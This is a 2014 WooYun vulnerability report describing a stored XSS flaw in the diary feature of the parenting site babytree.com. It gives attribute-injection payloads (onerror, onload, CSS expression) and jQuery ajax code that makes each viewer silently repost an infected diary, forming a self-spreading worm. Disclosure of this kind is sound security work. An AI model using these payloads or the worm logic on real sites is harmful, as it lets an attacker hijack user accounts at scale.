当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081548

漏洞标题:Baby大型亲子门户Store XSS 蠕虫

相关厂商:babytree.com

漏洞作者: 黑暗游侠

提交时间:2014-11-01 20:23

修复时间:2014-11-06 20:24

公开时间:2014-11-06 20:24

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-01: 细节已通知厂商并且等待厂商处理中
2014-11-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Baby亲子门户Store XSS 蠕虫

详细说明:

Baby大型亲子门户Store xss可大规模蠕虫,千万级用户
宝宝树,Babytree
www.babytree.com
权9,Alexa排名119

32.png

漏洞证明:

每个妈咪或者每个爸比注册完后都会有一个home

26.png


首页也会推送写的日记,于是用户和用户的交互形成了蠕虫的先决条件之一

27.png


来看下形成过程,首先呢全站的xss防御是非常完美的,经过无数次的测试,黑盒发现一处src外无过滤。
首先登陆账号,点击 ”我的小家“
然后选择 “ 写日记” 如图:

28.png


这里可以插入图片,图片是以http完整url的形式包含到img标签下的src属性中,src属性里直接插入会被防御机制检查,但是src外可以插入属性代码执行跨站脚本。
我们先来看抓包的代码

29.png


如图,%22以前是基于防御沙盒进行过滤,但是%22以后沙盒竟然放弃了检查,于是修改数据包代码,在xx.jpg"后增加以下代码,仅在IE7包括IE7以下可以执行

+style="xss:expression(alert(1))" 
+style="color:rgb(''x:expression(alert(1))


或者在/>后面新插入img标签,通杀所有浏览器和内核版本

<img src="1" onerror=alert(1) />


30.png


也或者%22后面加入事件代码,比如
+onload=alert(1)

一样通杀所有浏览器和版本

可以看到,访问日志后全部弹出1的提示窗口
=======================================================================================
接下来构造蠕虫
给出部分关键js代码,控制content内容,获取location的uxxxxxxx的用户识别参数,查看的用户便会主动发表一篇同样带有存储型xss的蠕虫日记,传播速度将会成指数增长,最后达到逻辑斯蒂峰值 :

$.ajax({
url: 'http://home.babytree.com/content/post_ajax_util.php'
type: 'post'
data: {
action: 'update'
title:'xxxx'
tags: 'tttt'
content: '%3Cp%3Effff%3C%2Fp%3E'
dates: '2014-08-13'
cid: '46360992'
privacy: 'a'
discuss_id: ''
journalid: '0'
letterid: '0'
callback: 'parent.showResponse'
jhack: 'true'
}
success: function(data) {
console.log(data);
alert(data);
}
});
$.ajax({
url:'http://home.babytree.com/u603094999949/journal/ajax'
type: 'post'
data : {
uid: 'u603094999949'
tab: 'journal'
view: 'new'
test_home_server : 'http://home.babytree.com'
cmd: 'create'
journal_id: '0'
crumb:'8abbaf15bdf1853b0bad38d125aca167cc8ec46e'
random:'NvbjIXigM1RTUxOl1i'
callback:'parent.callback_create'
title: 'fffff'
date: '2014-08-13',
letterid: '0',
relate_baby:['12268973']
tags: '我的标签'
category: '童言无忌'
catName: '我的自定义分类'
overall: 'open'
nocomment: '1'
}
success: function(data) {
console.log(data);
alert(data);
}

});


31.png

修复方案:

过滤

版权声明:转载请注明来源 黑暗游侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-06 20:24

厂商回复:

漏洞Rank:2 (WooYun评价)

最新状态:

暂无